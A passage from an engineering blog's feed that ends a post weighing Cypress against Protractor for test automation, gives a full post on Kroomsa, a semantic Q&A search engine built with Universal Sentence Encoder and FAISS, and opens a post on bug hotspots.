aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Runs directly on the Browser(no web driver):</h1> This brings some unique and awesome abilities to Cypress over tools that use WebDriver. <ul> <li>Cypress can be used for stubbing network calls - This can enable us to test multiple scenarios without having to create test data for each test.</li> <li>Can manipulate DOM - this gives us abilities to work around some of the "trade-offs" - Will talk more about this in the next article where we discuss the drawbacks of Cypress.</li> </ul> <h1 id="stable-tests" style="position:relative;"><a href="#stable-tests" aria-label="stable tests permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Stable Tests:</h1> There are various Cypress features that help make your test execution more stable while some help in writing cleaner code. Below are the points we observed: <ul> <li>Automatically waits for non-intractable elements - works mostly in case of browser loads or if the application front end has a hint for Cypress to identify such as a loader. I read in a blog that Cypress interacts with hidden elements(eg. behind an open Dropdown), but in our observation, we had to use (click({force: true}), which is more like js executor.</li> <li>Promises are resolved automatically: fine print ahead :). Promises are handled for Cypress commands and assertions from chai/mocha. Others need to be handled programmatically. Cypress also allows you to create custom Cypress commands, and overwrite existing commands. We tried to create a custom Cypress command to getProperty using the jquery function prop(), but to our disappointment, we still had to resolve the promise :(. cy.wrap() is also worth a mention and can help in writing cleaner code. </li> </ul> <h1 id="other-smaller-wins-for-cypress" style="position:relative;"><a href="#other-smaller-wins-for-cypress" aria-label="other smaller wins for cypress permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Other smaller 'wins' for Cypress:</h1> <ul> <li>Cypress can handle iframes: As opposed to what is mentioned in some of the older blogs on the internet, newer versions of Cypress handle iframes. The plugin 'Cypress-iframe' can be used for this purpose. However, we observed no screenshots for iframes yet in the test runner.</li> <li>Cypress provides a blueprint of a framework to its users which is a boon for beginners.</li> </ul> All in all, Cypress seems to be a robust tool, and spending just a few hours with it one can see why it is so widely accepted. Read on to the next section where we explore the limitations of the tool. And whether or not we, at Wingify, finalize it as our web automation tool. <h2 id="part-2--the-heartbreak" style="position:relative;"><a href="#part-2--the-heartbreak" aria-label="part 2 the heartbreak permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Part-2 – The Heartbreak!</h2> Alas! Some things are just not meant to be! Some of the limitations in Cypress meant that we could not go ahead with the tool as our replacement for Protractor. Cypress official documentation lists these as ‘trade-offs’ between capability and stability. <h1 id="cross-domain-flows" style="position:relative;"><a href="#cross-domain-flows" aria-label="cross domain flows permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cross-Domain Flows:</h1> Cypress does not allow you to visit two domains of different origins in the same test case. Unfortunately, we have specific use cases where our scripts need to perform these kinds of tests. This turned out to be a deal-breaker for us. <h1 id="multiple-tabs--multiple-windows" style="position:relative;"><a href="#multiple-tabs--multiple-windows" aria-label="multiple tabs multiple windows permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Multiple Tabs / Multiple Windows:</h1> As discussed earlier in this article, Cypress runs directly on the browser and hence can not support multiple windows or tabs. While some simple HTML implementations (target _blank) can be manipulated by Cypress to open in the same tab, it does not work for more complex implementations where the logic is driven by front-end code. While there are other limitations that Cypress has, we talk about just these two as they are the deal breakers for us. If these limitations do not block any of the use cases in your case - Thats great but do take a look at the other issues here: <a href="https://docs.cypress.io/guides/references/trade-offs#Permanent-trade-offs-1">Cypress Trade-Offs</a> before you make a final decision. As our hunt for a new Automation tool continues, we now turn our gaze towards Playwright. Only time will tell if this is the tool that finally mends our broken heart :) </content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Kroomsa: A search engine for the curious]]></title><description><![CDATA[Introduction The search algorithm implemented in your website greatly influences visitor engagement. A decent implementation of a search…]]></description><link>https://engineering.wingify.com//posts/kroomsa-a-search-engine-for-the-curious/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/kroomsa-a-search-engine-for-the-curious/</guid><pubDate>Mon, 14 Feb 2022 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> The search algorithm implemented in your website greatly influences visitor engagement. A decent implementation of a search algorithm can significantly reduce dependency on standard search engines like Google for every query thus, increasing engagement. Traditional methods look at terms or phrases in your query to find relevant content based on syntactic matching. Since you can use a sentence or a word in multiple contexts, this approach alone is ineffective, and the results are often a hit or a miss. At VWO, as a fun side project, we developed an algorithm that uses semantic matching to find content relevant to your query. We implemented this approach as a modern search engine, Kroomsa: A search engine for the curious. Kroomsa engages users by exposing them to relevant yet interesting content during their session. Here is a look at <a href="https://www.youtube.com/watch?v=xvgdAEEvhsA">Kroomsa in action</a>. <h2 id="current-work" style="position:relative;"><a href="#current-work" aria-label="current work permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Current Work</h2> Search engine giants like Google use algorithms that look at many factors, including the words of your query, relevance, and usability of pages, the expertise of sources, and your location and additional settings. These features are dynamically weighted, and the weight applied varies depending on the nature of your query. These algorithms are evaluated rigorously through live experimentation and coordination with external search quality raters. Our proposed approach is not as complex or meticulous as the previous work in the field, but it improves upon traditional search algorithms that solely rely on syntactic matching. We use a deep learning model to understand the intention and context of the query to match it with appropriate content. It enables us to map user queries to documents that do not even contain the exact phrase. For example, the query "working desk" can match with content relevant to "study table". <h2 id="motivation" style="position:relative;"><a href="#motivation" aria-label="motivation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Motivation</h2> Kroomsa as a product does not align well with what VWO currently offers. It was never intended to be a final product in its current form but is a great avenue to test the algorithm at its core, similarity search. We combined various existing techniques in literature to develop this algorithm that identifies information that is relevant to the query. We modeled a modern search engine around it to procure feedback from potentially interested customers. The goal was to package the mature version of the search algorithm as an add-on that our customers could deploy on their websites. <h2 id="overview" style="position:relative;"><a href="#overview" aria-label="overview permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Overview</h2> Kroomsa uses similarity search at its core to provide relevant yet intriguing information to the user. The performance of any machine learning algorithm is dependent on the quality of data. So before detailing the algorithm, let us explore the dataset that we collected for Kroomsa. <h3 id="dataset" style="position:relative;"><a href="#dataset" aria-label="dataset permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dataset</h3> Kroomsa exists to answer your questions with relevant information that you might want to know. To do so, we needed a data source with genuine questions and their appropriate answers. We chose Reddit for this purpose. We scraped a total of 7 QnA subreddits since their inception, and through heuristics, we made sure that the selected questions were valid and their answers were relevant. <h3 id="preprocessing" style="position:relative;"><a href="#preprocessing" aria-label="preprocessing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preprocessing</h3> Preprocessing is essential while developing a practical machine learning approach. It helps in ensuring that irrelevant data points are filtered out. To decide the quality of a QnA pair, we employed the following heuristics: <ol> <li>The posted question should have enough upvotes.</li> <li>Content should be in English.</li> <li>Content should not violate any guidelines.</li> <li>The top comment should have enough upvotes to be selected as the corresponding answer.</li> <li>The post should be publicly accessible on Reddit and not deleted by any parties involved.</li> </ol> <h3 id="vectorisation" style="position:relative;"><a href="#vectorisation" aria-label="vectorisation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vectorisation</h3> Traditional search engines use structured tables that map the content to a symbolic representation. These symbolic representations are far inferior and inflexible to the neural descriptors obtained from machine learning approaches like word2vec. We decided to use <a href="https://tfhub.dev/google/universal-sentence-encoder/4">Universal Sentence Encoder</a> (USE) in Tensorflow to create neural representations of the posts as they cannot be used as-is. USE allows greater than length encoding of phrases into their corresponding embeddings. These embeddings capture the intent of the input phrase, thus making them a powerful tool to represent natural language. <h3 id="similarity-search-heart-of-kroomsa" style="position:relative;"><a href="#similarity-search-heart-of-kroomsa" aria-label="similarity search heart of kroomsa permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Similarity Search: Heart of Kroomsa</h3> Similarity search refers to a class of algorithms that typically search a space of objects where the comparator is the similarity between the pairs. But to do it at scale is a challenging task. Since a search engine has to be quick in finding the relevant content and answers to the queries posted by the user, using inferior implementations can lead to a worse experience for the user. We decided to use a library called <a href="https://github.com/facebookresearch/faiss">FAISS</a> developed by Facebook. It boasts a performance speedup of up to 8.5x the previous state-of-the-art approaches on billion scale datasets. FAISS also provides a state-of-the-art GPU implementation of the search algorithms that provide a significant speedup and improve the user experience over CPU-based approaches. Kroomsa uses a 512-dimensional Flat index created using FAISS. The index uses Euclidean distance to measure the similarity between the vector representations of different posts. After encoding each query using USE, a similarity search based on Euclidean distance executes that fetches 20 most relevant QnA pairs from the database. The answer that corresponds to the most similar QnA pair is the designated answer. And a few other pairs are shown as intriguing content that users can explore. <h3 id="emojis-a-fun-addition" style="position:relative;"><a href="#emojis-a-fun-addition" aria-label="emojis a fun addition permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Emojis: A fun addition</h3> To animate our textual questions and answers, we decided to attach relevant emotions to them. The core logic that drives Kroomsa also helps to discover relevant emojis. We curated a dataset that mapped emojis to relevant tags that best described their conveyed emotion. These tags were then transformed into their neural representations using <a href="https://huggingface.co/sentence-transformers/distilbert-base-nli-stsb-mean-tokens">distilbert-base-nli-stsb-mean-tokens</a> model. We executed a similarity search to find the most relevant emojis for each QnA pair in our database. Kroomsa displays these emojis along with each post to enhance user engagement. <h2 id="evaluating-the-algorithm" style="position:relative;"><a href="#evaluating-the-algorithm" aria-label="evaluating the algorithm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Evaluating the Algorithm</h2> Evaluating the results of a search engine is not a trivial task. Giants like Google use online experiments and search quality raters to evaluate the quality of their search algorithms. Due to its resource-intensive nature, we evaluated our approach through collected feedback. "Plan on using Kroomsa instead of Youtube to go down a rabbit hole for exposure to new ideas." A user wrote as feedback affirming the quality of the search algorithm. Another user complemented that the results shown by Kroomsa were refreshing due to the absence of any SEO. While the feedback was mostly positive, many users pointed out the lack of information sources as an obvious flaw that affected their experience. Let us discuss the performance aspect and hardware requirements for a satisfactory implementation. To test the performance of Kroomsa, we used Siege, a benchmarking tool that allows you to simulate users accessing a website. Fifty synthetic users concurrently posted requests on Kroomsa for a load test. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/e79ac267b8691a21a0c9fd4dbac8f210/ecf19/kroomsa_load_test.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 46.82080924855491%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABVElEQVQoz21S2VLCQBDcEi2VFAJyyBEIEIJgCIEgIrfw///UTA8uBejD1FY2M33NmupggeZog9rHUmqBerjCU3WA+1KAh3LvqlLFLnKtMfzkgHLvC6Vghkwj0nvbY5rRBq3xTkHf3udoxTs8Vvq4K/jacAmcKgagAHe4RrH7iVc/gVMPzz08jTfagqCV/rc2dpK9Mhf86R+VVELSmoBSoSfkaQEkue01VObFW7G61CZarvTncNzhFbM9HTdUlSTkTK49wbNEZGMyDVqOaXkLV8CYEe2w8T+FJLLkVMh5qrZZGi5DVQqgPz0ooMm3zzZsWcBMcyTRrJT0xYuRF2Kqs4tRhQTkeWKe6caplipoj4MEPQFG6Ez2yHcSJebd1VLqMsxFMDdKb09+1D5J+I8bt5btIO1lf0lu/xnKJ4gGLTb43YjW5+Wkb54F7fFFZCWay/dn6wijNfZWgDXC0gAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="kroomsa load test" title="kroomsa load test" src="/static/e79ac267b8691a21a0c9fd4dbac8f210/1e043/kroomsa_load_test.png" srcset="/static/e79ac267b8691a21a0c9fd4dbac8f210/991de/kroomsa_load_test.png 173w, /static/e79ac267b8691a21a0c9fd4dbac8f210/e4d6b/kroomsa_load_test.png 345w, /static/e79ac267b8691a21a0c9fd4dbac8f210/1e043/kroomsa_load_test.png 690w, /static/e79ac267b8691a21a0c9fd4dbac8f210/ecf19/kroomsa_load_test.png 948w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> We quickly identified a few issues with our approach: <ul> <li>Slow Average response time</li> <li>The worst-case response time recorded was 5.31 seconds.</li> </ul> The reason for slow response times and poor performance under load is the exhaustive nature of the search. We also timed the different segments of our entire process to offer a holistic view of which phase requires how much time. <ul> <li>Embedding: Time to convert the query to a vector representation using USE.</li> <li>Faiss: Time to search the index</li> <li>Mongo: Time to map and retrieve the search results from the database.</li> </ul> Note: Each time measurement is in seconds <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/5b927638e265349ca73492eee23ce05c/1ac29/modules_timing_info.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 54.91329479768786%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABlUlEQVQoz02Sh4rDQBBD/f9fFgJxmtOL03tvTtfxBBsuELA9Gs0b7Ubf71f87ve7ut2u6vW6DoeDv61WK81mMz/v93vX3++3ta1WS/P5XJPJRL1eT8PhUK/XSxFNCPnn83nlcjkLms2misWiGo2G2u22SqWSCoWC+v2+qtWqtdTK5bKfqWVZpmiz2VjE1MVioU6no9Pp5D/G6/Va1+tVg8FAaZq6iW8A0Mv7eDy21oTn8/n3gpCVWe/5fLqJlamNRiMP5juRQI2eCFgXD2oRYqZDGAx3u50ej4cNyQghhjRBxEAyXC6XrkGIhwlvt5sb/xMej0cLWZ/gAyFUGBIH+VGDkKFoTUgzB0ATAg5iu92amKbpdPqjTZLEebJBpVIxGX1EUavVrIsQ8OHz+XgFTo2MEIarAQUrMZhBQGBAvvRBj9aE5AEJ7pwyFBCyGiuyDiacMIaXy8UZYhjoqeFhQzKkwAWHDBIyCpO5p9TCBaYJUyIgc36QYupDwSSOY4so8Awp76yPkFigDXEwhMtNDSDWpcYmf5yUMIX95DnYAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="modules timing info" title="modules timing info" src="/static/5b927638e265349ca73492eee23ce05c/1e043/modules_timing_info.png" srcset="/static/5b927638e265349ca73492eee23ce05c/991de/modules_timing_info.png 173w, /static/5b927638e265349ca73492eee23ce05c/e4d6b/modules_timing_info.png 345w, /static/5b927638e265349ca73492eee23ce05c/1e043/modules_timing_info.png 690w, /static/5b927638e265349ca73492eee23ce05c/1ac29/modules_timing_info.png 1022w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> Using non-exhaustive algorithms means trading off accuracy with speed. So we decided to switch to a GPU-based implementation of the exhaustive search. It exponentially increases the performance of the system without sacrificing accuracy. Using the cheapest GPU available that increased our server cost to 2.61x the original, we obtained a 10x speedup in processing times. GPU-based implementation processed 100 requests in 2.7 seconds compared to 27.2 seconds of the CPU implementation. We also tested asynchronous batching, where concurrent requests are batched and sent together as a single request to the system. It was able to process 100 requests in 0.12 seconds which translates to a 225x improvement in processing time. Using a GPU translated to a 10x speedup without sacrificing accuracy. This change alone improved the responsiveness of the engine considerably. <h2 id="conclusion-open-sourcing-kroomsa" style="position:relative;"><a href="#conclusion-open-sourcing-kroomsa" aria-label="conclusion open sourcing kroomsa permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion: Open sourcing Kroomsa</h2> While developing Kroomsa, we came across multiple roadblocks at each step that required rigorous research and swift implementation to resolve. Dealing with the issues of scaling, algorithm accuracy, and efficiency exposed us to the state of the art approaches in the field. We collected valuable feedback from our users over a limited period. It gave us confidence in the potential that this approach holds. Due to misalignment with our product stack, we believe that our community can make better use of it than us at this point, and hence we have decided to open-source the entire project <a href="https://github.com/wingify/kroomsa">here</a>. <h2 id="useful-resources" style="position:relative;"><a href="#useful-resources" aria-label="useful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Useful resources</h2> <ul> <li><a href="https://www.google.com/search/howsearchworks/algorithms/">How search Algorithms work: Google</a></li> <li><a href="https://new.pythonforengineers.com/blog/build-a-reddit-bot-part-1/">Build a reddit bot - Shantanu Tiwari</a></li> </ul></content:encoded><author>Aakash Chawla</author></item><item><title><![CDATA[Finding Bughotspots in Source Code]]></title><description><![CDATA[Introduction We are often faced with the problem of source code that breaks frequently. Or those modules which are very sensitive to changes…]]></description><link>https://engineering.wingify.com//posts/finding-bughotspots-in-source-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/finding-bughotspots-in-source-code/</guid><pubDate>Tue, 05 Oct 2021 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h3 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h3> We are often faced with the problem of source code that breaks frequently. Or those modules 